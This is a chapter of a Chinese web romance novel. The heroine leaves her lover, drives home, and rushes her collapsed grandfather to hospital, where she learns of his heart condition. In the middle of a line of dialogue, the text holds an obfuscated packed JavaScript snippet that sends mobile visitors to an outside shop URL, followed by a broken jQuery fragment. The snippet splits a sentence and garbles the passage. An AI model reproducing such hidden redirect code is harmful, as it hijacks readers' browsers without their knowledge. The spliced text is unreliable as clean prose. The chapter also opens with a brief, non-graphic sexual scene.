林乔乔朦胧中觉得有人在看着自己。
掀开眼皮看了一眼,很快又闭上了。
好困。
窗帘又合起来了,外面天光应该大亮了,严丝合缝的窗帘也透着光。
林乔乔迷迷瞪瞪的,转个身,“几点了?”
“九点多了。”
林乔乔脑子里噔的一下,但无力起床。
真的好困。
“你要去上班了吗?”
“今天周末。”
“那你怎么穿得整整齐齐的?”
江树海坐在床头,把闭着眼睛说话的林乔乔从被窝里拉出来,搂在怀里。
她舒服地窝在他怀里,埋在他的颈窝,呼吸满是他的气味的空气。
江树海呼吸沉了沉,隔着衣服上手把玩。
“我要去把事情收个尾。”
林乔乔终于战胜困意,睁开了眼睛,“又出差?”
林乔乔的震惊被江树海的吻镇压了。
亲了一会儿,林乔乔说他:“睡完就跑,你没有心。”
江树海:???
精心服侍了一晚上,不给好评?
但接下来的亲吻和抚摸都格外的动情与不舍。
穿好的衣服白穿了。
林乔乔呜咽一声,对他又捶又打,“措施!”
“就呆一会儿。”
而且,连续这么多次,他已经被掏空了。
林乔乔迟疑了一下,像是在思考这个说法的合理性。
林乔乔还是觉得不应该冒险。
只不过她还没发作,江树海已经退出。
林乔乔脸上驼红,看着他一颗一颗地把衬衫扣回去。
有那么一瞬间,林乔乔觉得跟着他去出差也行。
但她才不是恋爱脑呢。
江树海穿好衣服后,林乔乔也跟着爬起来。
她一直跟到了客厅。
本来是想送到家门口的,但是江树海跟她说,桌上给她准备了清粥,让她喝完再回去睡。
江树海看着她开始喝粥,一边说,林家那边他都已经打过招呼了,让林乔乔安心休息好再回家。
林乔乔哦了一声,把粥喝了个精光,目送他出门然后回去倒头接着睡。
不知道是清粥里放了什么滋补的东西还是睡眠质量不错,总之林乔乔一觉醒过来,身体和精神都没那么虚了。
她想回家了,然后开始找手机。
林乔乔像是在找和她躲猫猫的小狗一样,四处翻找。
失望地一无所获后,却发现手机已经规规矩矩在充电了。
一看就是江树海会做的事情。
林乔乔唔的一声,心里暖暖的。
江树海给她微信里转了钱,车钥匙也留在家里,还安排了司机standby,林乔乔想用什么方式回家都可以。
林乔乔选择了自己开车。
就要偷偷厉害,然后惊艳所有人。
时间已经不早了,再加上这次真的只有她一个人在车里,林乔乔小心谨慎,以至于速度就更慢了。
到家的时候,已经是下午的三点多了。
家里静悄悄的。
不过,这也挺好。
林乔乔立刻摸回自己的房间,洗了个热水澡,查看了一下全身,又换了身有点小高领的衣服。
再回到楼下,家里还是没人。
林乔乔喊了两声,也没人回应。可能是放假了。
林乔乔见爷爷书房的门关着,悄默默地摸过去拧了一下锁。
开了。
林乔乔便走了进去。这是林乔乔从小到大经常干的事情。
爷爷躺在他的老巴黎摇椅上睡觉呢。小边桌上的杯子里的液体只剩浅浅的一层底了。
林乔乔嘻嘻一笑,爷爷又在偷偷喝酒了。
爷爷以前常这样,被奶奶抓到了就是一通骂。
不过爷爷好久没偷喝过酒了呢。一准是遇到什么高兴的事情了。
虽然不知道是什么事,但林乔乔莫名就跟着一起高兴了。
林乔乔找来爷爷珍藏的亮得像贝壳一样的白孔雀羽毛,苟着腰,童心大发地挠林开光的鼻子玩儿。
林乔乔挠了好一会儿,好一会儿,林开光才微微有一点反应。
林乔乔觉得不好玩了,停了下来,娇气地说:“爷爷!你不许再装了。”
林开光的眼睛才拉开一条缝,不仔细看还以为没动静。
林乔乔想了想,赖皮地说道:“爷爷我今天是自己从市区开车回来的哦~”
林乔乔知道,这样说,林开光一定会批评她的。
“一个人哦,江树海他出差去了。”
林开光嘴皮微动,但林乔乔听不清他讲什么。
林乔乔觉得不对劲,笑脸凝在脸上,她把耳朵凑过去,但还是听不清,但林开光微微抬了抬手,指了指不远处的柜子。
林乔乔立即打开柜子。
柜内隔层之上,摆了些药,隔层之下是一幅轮椅。
林乔乔愣了半秒,立即明白过来,双手抖得像是好几天没吃过东西,好在徐大夫第一时间接通了电话。
“爷爷好像晕过去了,睁不开眼睛,晕过去之前,他好像还喝了酒,我不知道这和他晕过去有没有关系,柜子里有好几种药,我不知道该给他吃哪个。徐爷爷,我该怎么办?我该怎么办?”
林乔乔按照徐大夫的指示,开了一丸被蜜蜡封起来的药,给林开光服下了。
虽然徐大夫了说吃了药后性命无碍,但林乔乔依旧全身都在抖。
她把轮椅拿出来,推到老巴黎椅旁边。
林乔乔小心翼翼地拉起林开光的胳膊担在自己肩上,柔声哄着林开光:“爷爷,咱们一起努力,坐到轮椅上来,乔乔送你去医院哦。”
但林乔乔把自己想得太强壮了,林开光年轻的是个高大的男人,现在老了,也不过是背有些驼,依旧是个高大的老头,一百几十斤的重担,林乔乔细胳膊细腿的根本招架不住。
但轮椅就在眼前,林乔乔不可能放弃,她轻轻地又把林开光放回椅子里,改成背的。
或许药效起作用了,林开光恢复了些意识,林乔乔跪了两次后,终于是把林开光背到了轮椅上。
林乔乔想起前段时间,家里提了辆改装过的新车,后排座椅全拆了,加了升降架。
当时林乔乔觉得莫名其妙,不感兴趣也没多问。
现在想来应该就是为现在这种情况准备的。
林乔乔推着轮椅直奔车库,轮椅上车后,开车前,她给徐大夫打了个电话,告诉他,多久能到。
就像落水了才知道会游泳有多可贵,此刻的林乔乔也无比庆幸她坚持学了开车。
等林乔乔开到医院时,救护团队已经在门口等着了。
林乔乔从驾驶室下来,医护们已经将林开光从轮椅转移到病床。
徐大夫看了眼憔悴又狼狈的林乔乔。
林乔乔目光恳切地对上徐大夫的眼光,“快给爷爷看病。”
徐大夫查看了林开光的基本体征后,再次确认他已无大碍。加上林乔乔的急救及时,到医院了,也只是补一些基础的检查。
林开光被推去做检查后,徐大夫如是说道。
“可是他还昏迷着。”
“吃的药有安神的作用,等药效过去就会好些。老林不该贪杯喝酒的。”
林乔乔不理解,“爷爷不是一直都好好的吗,怎么会突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781808|208213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
病倒呢?”
徐大夫叹了口气。
原来,林开光早就察觉到心脏会有些不舒服。
那时候徐大夫就建议他该退休了,钱是赚不完的。
当时林开光嚷嚷着,谁稀罕赚那点破钱了?他只是想护着林乔乔而已。
这份心意徐大夫也懂,也就没强烈要求,只是加强了对林开光保健干预。
一晃三年,林开光工作上丝毫没有懈怠,但心脏状况越来越不好,时常会一声不吭就睡过去,意外的来临不过是时间问题罢了。
林乔乔愣愣地站着。
从她大二开始,林开光和吴文琴开始频繁地启发她,希望她找到自己感兴趣的领域,同时也给她灌输一些商业思维。原来,那个时候,爷爷奶奶就感觉到自己终有一天会离开她吗?
可她一点都没有察觉。
如果不是这次意外,他们可能永远都不打算告诉她。
林乔乔突然就明白了,为什么任平受伤这么大的事情,第一时间想到的不是找她,而是找并没有那么亲的杨橙橙和林启盛。
林乔乔的眼神有些失焦。
徐大夫于心不忍,又无可奈何。
一时无言。
恰逢,家里的管家赶到了医院。
管家面色发白,一直不停地在道歉。
他说董事长夫人和任总还有吴小姐一起回吴家祭祖去了。当时林开光还说,吴家人应该不想看到他,所以他就不去了。家里难得人少,林开光就给其他人放假了,家里只剩管家一个人照顾。然后林开光又让管家去买东西,顺便给老朋友送个礼物。所以管家才离开的家。
爷爷应该是故意支开管家,就想偷偷喝一口的。
“这事怪不了你。你不用自责。”
管家说:“董事长夫人那边,我来联系?”
徐大夫挥挥手,说道:“我来说吧,你们说容易把人吓着。”
管家点点头。
管家又问:“乔乔,你是怎么把董事长送来医院的?”
“开车。”
“你们怎么上的车?我看董事长是昏迷的……”
“没事,这事真不会怪你。”
徐大夫想给林乔乔把个脉看看,但林乔乔拒绝了,她坚称自己没事。
彼时,检查已经完毕了。
林乔乔跟着林开光的病床来到了病房。
各种仪器连上后,病房里只剩下林乔乔和管家。
管家依旧满心满眼的愧疚,说他不该离开的。
林乔乔已经不想说,这事没有人会追究他的责任这句话了。
她打断了管家,“你回去整理些爷爷奶奶的日用品带过来吧。”
管家走后,病房内安静下来。
这事怎么能怪管家呢?
寻其源头,这事只能怪林乔乔。
如果不是她大大咧咧的什么都意识不到,爷爷就不会一直那么辛苦了。
可,林乔乔也是有过痛苦的。
她也是想过要强拿第一的,她也曾为了成为“别人家的孩子”而努力过的。
可不管是爷爷奶奶还是任平,都不让她吃任何一点苦,学习成绩不好可以,不喜欢锻炼也可以,喜欢被夸就天天夸她,喜欢书法就只学书法,只要林乔乔天天开心就行。
朋友带她出去乱吃导致生病,那便不需要这样的朋友,男同学可能不怀好意,那便去读女校,外面的人不识真面目,那便只和认识的人玩,只要林乔乔开开心心平平安安就行。
林乔乔已经过惯了城堡里的日子。
可她明明已经甘心成为一名脆弱的公主,但为什么爷爷还会因为喝了一点酒就连话都说不清楚了呢?
到底还要她怎样?